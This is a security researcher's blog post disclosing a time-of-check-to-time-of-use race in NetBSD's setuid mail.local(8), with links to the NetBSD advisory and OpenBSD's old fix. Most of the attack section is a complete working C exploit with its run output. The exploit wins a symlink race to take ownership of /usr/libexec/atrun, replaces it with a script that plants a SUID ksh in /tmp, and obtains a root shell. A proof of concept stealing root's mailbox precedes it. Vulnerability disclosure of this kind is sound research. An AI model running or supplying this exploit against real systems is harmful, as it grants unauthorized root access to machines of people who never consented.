█████  ██   ██  █████  ████████  ██     ██   
██   ██ ██  ██  ██   ██    ██    ███      ██  
███████ █████   ███████    ██     ██       ██ 
██   ██ ██  ██  ██   ██    ██     ██      ██ 
██   ██ ██   ██ ██   ██    ██     ██     ██   
[blog] [twitter] [github] [mail/gpg]
Spawn your shell like it's 90s again!
2016-07-21 09:09:58
Spawn your shell like it's 90s again!

This article is a quick walk-through to gaining root privileges in the NetBSD, since it's so 90s you can play Captain Jack [3], or [4] [5] if you prefer polish disco, just to feel the atmosphere while reading. Really, do it! ;)

Abusing SUID files should be dead in 90s, but surprisingly it's still alive. By auditing Coverity Scan reports for the NetBSD SUID files I accidentally found a Time To Check To Time To Use [1] issue in mail.local(8) which luckily can be turned into privilege escalation! You may ask what's mail.local(8)... It simply delivers message from standard input to chosen user mailbox - check man page if you wish to know more. The utility appears also in other BSDs, but it seems that OpenBSD fixed the issue almost 20 years ago and FreeBSD uses sendmail(8) which provides its own implementation.

The bug
The bug is placed in deliver() function of mail.local:
177 static int
178 deliver(int fd, char *name, int lockfile)
179 {
180 	struct stat sb;
181 	struct passwd pwres, *pw;
182 	char pwbuf[1024];
183 	int created, mbfd, nr, nw, off, rval=EX_OK, lfd=-1;
184 	char biffmsg[100], buf[8*1024], path[MAXPATHLEN], lpath[MAXPATHLEN];
185 	off_t curoff;
[...]
200 	(void)snprintf(path, sizeof path, "%s/%s", _PATH_MAILDIR, name);
[...]
213 	if (!(created = lstat(path, &sb)) &&
214 	    (sb.st_nlink != 1 || S_ISLNK(sb.st_mode))) {
215 		logwarn("%s: linked file", path);
216 		return(EX_OSERR);
217 	}
218 
219 	if ((mbfd = open(path, O_APPEND|O_WRONLY|O_EXLOCK,
220 	    S_IRUSR|S_IWUSR)) < 0) {
221 		if ((mbfd = open(path, O_APPEND|O_CREAT|O_WRONLY|O_EXLOCK,
222 		    S_IRUSR|S_IWUSR)) < 0) {
223 			logwarn("%s: %s", path, strerror(errno));
224 			return(EX_OSERR);
225 		}
226 	}
[...]
262 	if (created)
263 		(void)fchown(mbfd, pw->pw_uid, pw->pw_gid);
264 
265 	(void)fsync(mbfd);		/* Don't wait for update. */
266 	(void)close(mbfd);		/* Implicit unlock. */
[...]

Source: https://nxr.netbsd.org/xref/src/libexec/mail.local/mail.local.c

The code creates path from _PATH_MAILDIR (which is "/var/mail/") and username at line 200, then lstat is done at line 213, if file does not exist (or it's not a symlink) the path is opened at line 219. What if somebody would quickly replace object between lstat(2) and open(2) under the checked path? Well, then arbitrary file can be opened, some data will be appended, and then, eventually, the ownership will be changed. It's the classical race condition example.

The cool thing about this particular issue is that no memory corruption issues are involved, so we don't need to deal with PIE, ASLR and so on. Instead we got pretty nice race, thus it's all about the timing.

Errr... so what? Time window is too small, they said!

No time window is too small to be exploited! It's just a matter of trying hard enough. Let's analyze carefully the case that we have:

 mail.local                                                |attacker
 ----------------------------------------------------------+---------------------------------------------
 lstat() - returns ENOENT - the named file does not exist. |
                                                           | symlink() - an attacker creates symlink that
                                                           | points to a sensitive file.
 open() - opens sensitive file through symlink             |
 (...)                                                     |
 fchown() - changes owner to user                          |
                                                           | \o/ PROFIT \o/

The moment between lstat(2) and open(2) is our chance to plant malicious symlink. This is a classic race condition example, you may think it could take ages to trigger the above scenario, but in fact it can occur within a few seconds. Let's steal /var/mail/root file:

shm@netbsd-dev ~ $ ls -al /var/mail/root
-rw-------  1 root  wheel  38 Jul 21 16:08 /var/mail/root

We need two workers. First is supposed to create symlinks, second is responsible for executing mail.local(8).

shm@netbsd-dev ~ $ cat test.c
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>

#include <sys/types.h>
#include <sys/stat.h>

#define STEALPATH       "/var/mail/root"
#define MAILBOX         "/var/mail/shm"

int
main() {
        int fd;
        struct stat sb;

        for(;;) {
                unlink(MAILBOX);
                symlink(STEALPATH, MAILBOX);
                sync();
                unlink(MAILBOX);
                fd = open(MAILBOX, O_CREAT, S_IRUSR | S_IWUSR);
                close(fd);
                sync();
                if (lstat(STEALPATH, &sb) == 0) {
                        if (sb.st_uid == getuid()) {
                                fprintf(stderr, "[+] won race!\n");
                                return 0;
                        }
                }
        }

        /* NOTREACHED */
        return 1;
}
shm@netbsd-dev ~ $ cc -o test test.c
shm@netbsd-dev ~ $ while true ; do echo x | /usr/libexec/mail.local shm 2> /dev/null ; done &
[3] 5084
shm@netbsd-dev ~ $ time ./test
[+] won race!

real    0m3.093s
user    0m0.000s
sys     0m2.987s
shm@netbsd-dev ~ $ ls -al /var/mail/root
-rw-------  1 shm  shm  77 Jul 21 16:12 /var/mail/root

Within few seconds, we're able to steal root's mailbox, not bad!

Uh I see, what's next?

So we can became an owner of any file in the system, using that possibility into privilege escalation should be easy - actually, there are many ways to do it. One of them is to own passwd, master.passwd and company in order to manipulate system accounts - but tha intrusive and overcomplicated. Instead of this, let's see what's executed repetitively by administrative accounts, own that and change its context to get a shell.

Natural candidate is crontab(8), default tasks look as follows:

[...]
#minute	hour	mday	month	wday	command
#
*/10	*	*	*	*	/usr/libexec/atrun
#
# rotate log files every hour, if necessary
0	*	*	*	*	/usr/bin/newsyslog
#
# do daily/weekly/monthly maintenance
15	3	*	*	*	/bin/sh /etc/daily 2>&1 | tee /var/log/daily.out | sendmail -t
30	4	*	*	6	/bin/sh /etc/weekly 2>&1 | tee /var/log/weekly.out | sendmail -t
#30	5	1	*	*	/bin/sh /etc/monthly 2>&1 | tee /var/log/monthly.out | sendmail -t
[...]

Source: https://nxr.netbsd.org/xref/src/etc/crontab

Of course we do want to wait a month or even a day for shell spawn. The best option is to change atrun(1), triggered every 10 minutes - which is an acceptable time to wait for root privileges, isn't it?

What to execute? The simplest idea is to copy ksh to /tmp directory and set SUID bit. Example script is uber simple:

#! /bin/sh
cp /bin/ksh /tmp/ksh
chmod +s /tmp/ksh

Upon this script is executed, we get SUIDed shell in /tmp, ksh doesn't drop effective uid and gid, so we can get it 0 by using setuid(2) and setgid(2).

Putting things together
We have all the pieces, let's craft an exploit:
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <sys/wait.h>

#define ATRUNPATH "/usr/libexec/atrun"
#define MAILDIR "/var/mail"

static int
overwrite_atrun(void)
{
        char *script = "#! /bin/sh\n"
            "cp /bin/ksh /tmp/ksh\n"
            "chmod +s /tmp/ksh\n";
        size_t size;
        FILE *fh;
        int rv = 0;

        fh = fopen(ATRUNPATH, "wb");

        if (fh == NULL) {
                rv = -1;
                goto out;
        }

        size = strlen(script);
        if (size != fwrite(script, 1, strlen(script), fh)) {
                rv =  -1;
                goto out;
        }

out:
        if (fh != NULL && fclose(fh) != 0)
                rv = -1;

        return rv;
}

static int
copy_file(const char *from, const char *dest, int create)
{
        char buf[1024];
        FILE *in = NULL, *out = NULL;
        size_t size;
        int rv = 0, fd;

        in = fopen(from, "rb");
        if (create == 0)
                out = fopen(dest, "wb");
        else {
                fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR |
                    S_IWUSR);
                if (fd == -1) {
                        rv = -1;
                        goto out;
                }
                out = fdopen(fd, "wb");
        }

        if (in == NULL || out == NULL) {
                rv = -1;
                goto out;
        }

        while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
                if (fwrite(&buf, 1, size, in) != 0) {
                        rv = -1;
                        goto out;
                }
        }

out:
        if (in != NULL && fclose(in) != 0)
                rv = -1;
        if (out != NULL && fclose(out) != 0)
                rv = -1;
        
        return rv;
}

int
main()
{
        pid_t pid;
        uid_t uid;
        struct stat sb;
        char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;

        umask(0077);

        login = getlogin();

        if (login == NULL)
                err(EXIT_FAILURE, "who are you?");

        uid = getuid();

        asprintf(&mailbox, MAILDIR "/%s", login);

        if (mailbox == NULL)
                err(EXIT_FAILURE, NULL);

        if (access(mailbox, F_OK) != -1) {
                /* backup mailbox */
                asprintf(&mailbox_backup, "/tmp/%s", login);
                if (mailbox_backup == NULL)
                        err(EXIT_FAILURE, NULL);
        }

        if (mailbox_backup != NULL) {
                fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox,
                    mailbox_backup);

                if (copy_file(mailbox, mailbox_backup, 1))
                        err(EXIT_FAILURE, "[-] failed");
        }

        /* backup atrun(1) */
        atrun_backup = strdup("/tmp/atrun");
        if (atrun_backup == NULL)
                err(EXIT_FAILURE, NULL);

        fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH,
            atrun_backup);

        if (copy_file(ATRUNPATH, atrun_backup, 1))
                err(EXIT_FAILURE, "[-] failed");

        /* win the race */
        fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);

        switch (pid = fork()) {
        case -1:
                err(EXIT_FAILURE, NULL);
                /* NOTREACHED */

        case 0:
                asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
                    "2> /dev/null", login);

                for(;;)
                        system(buf);
                /* NOTREACHED */

        default:
                umask(0022);
                for(;;) {
                        int fd;
                        unlink(mailbox);
                        symlink(ATRUNPATH, mailbox);
                        sync();
                        unlink(mailbox);
                        fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
                        close(fd);
                        sync();
                        if (lstat(ATRUNPATH, &sb) == 0) {
                                if (sb.st_uid == uid) {
                                        kill(pid, 9);
                                        fprintf(stderr, "[+] won race!\n");
                                        break;
                                }
                        }
                }
                break;
        }
        (void)waitpid(pid, NULL, 0);

        if (mailbox_backup != NULL) {
                /* restore mailbox */
                fprintf(stderr, "[+] restore mailbox %s to %s\n",
                    mailbox_backup, mailbox);

                if (copy_file(mailbox_backup, mailbox, 0))
                        err(EXIT_FAILURE, "[-] failed");
                if (unlink(mailbox_backup) != 0)
                        err(EXIT_FAILURE, "[-] failed");
        }

        /* overwrite atrun */
        fprintf(stderr, "[+] overwriting atrun(1)\n");

        if (chmod(ATRUNPATH, 0755) != 0)
                err(EXIT_FAILURE, NULL);

        if (overwrite_atrun())
                err(EXIT_FAILURE, NULL);

        fprintf(stderr, "[+] waiting for atrun(1) execution...\n");

        for(;;sleep(1)) {
                if (access("/tmp/ksh", F_OK) != -1)
                        break;
        }

        /* restore atrun */
        fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup,
            ATRUNPATH);

        if (copy_file(atrun_backup, ATRUNPATH, 0))
                err(EXIT_FAILURE, "[-] failed");
        if (unlink(atrun_backup) != 0)
                err(EXIT_FAILURE, "[-] failed");

        if (chmod(ATRUNPATH, 0555) != 0)
                err(EXIT_FAILURE, NULL);

        fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
            "ownership.\n");
        fprintf(stderr, "Enjoy your shell:\n");

        execl("/tmp/ksh", "ksh", NULL);

        return 0;
}

Code is rather self-explanatory, executing is more interesting:

shm@netbsd-dev ~ $ uname -a
NetBSD netbsd-dev 7.99.33 NetBSD 7.99.33 (GENERIC) #42: Tue Jul  5 21:30:23 CEST 2016
  shm@netbsd-dev:/usr/cvs/src/sys/arch/amd64/compile/obj/GENERIC amd64
shm@netbsd-dev ~ $ id
uid=666(shm) gid=666(shm) groups=666(shm)
shm@netbsd-dev ~ $ ./mail.local.exp
[+] backup mailbox /var/mail/shm to /tmp/shm
[+] backup atrun(1) /usr/libexec/atrun to /tmp/atrun
[+] try to steal /usr/libexec/atrun file
[+] won race!
[+] restore mailbox /tmp/shm to /var/mail/shm
[+] overwriting atrun(1)
[+] waiting for atrun(1) execution...
[+] restore atrun(1) /tmp/atrun to /usr/libexec/atrun
[+] done! Don't forget to change atrun(1) ownership.
Enjoy your shell:
# id
uid=666(shm) gid=666(shm) euid=0(root) egid=0(wheel) groups=666(shm)
Final words

NetBSD is an elegant operating system with many exciting features as rump(8) or veriexec(8), bugs just happen! The best thing we can do, besides fixing this particular vulnerability [7], is to get rid of SUIDs, like some of our friends already did. But radical step requires major changes.

Hope to bring you back to the 90s. If this bug is older than you, I'm sorry, you missed opportunity to live in the best decade in history of this planet. OpenBSD left this bug in the 20th Century [6], just where it belongs. Particularly I like few lines from this patch:

/* paranoia? */
if (fsb.st_nlink != 1 || S_ISLNK(fsb.st_mode)) {
		err(NOTFATAL, "%s: linked file", path);
		goto bad;
}

Exactly, better paranoid than sorry!

  1. https://en.wikipedia.org/wiki/Time_of_check_to_time_of_use
  2. http://netbsd.gw.com/cgi-bin/man-cgi?mail.local++NetBSD-current
  3. https://www.youtube.com/watch?v=boNRVXR7bqg
  4. https://www.youtube.com/watch?v=YLND32bEbgI
  5. https://www.youtube.com/watch?v=s88xIW_SB7Q
  6. http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/libexec/mail.local/mail.local.c.diff?r1=1.1&r2=1.2&f=h
  7. http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc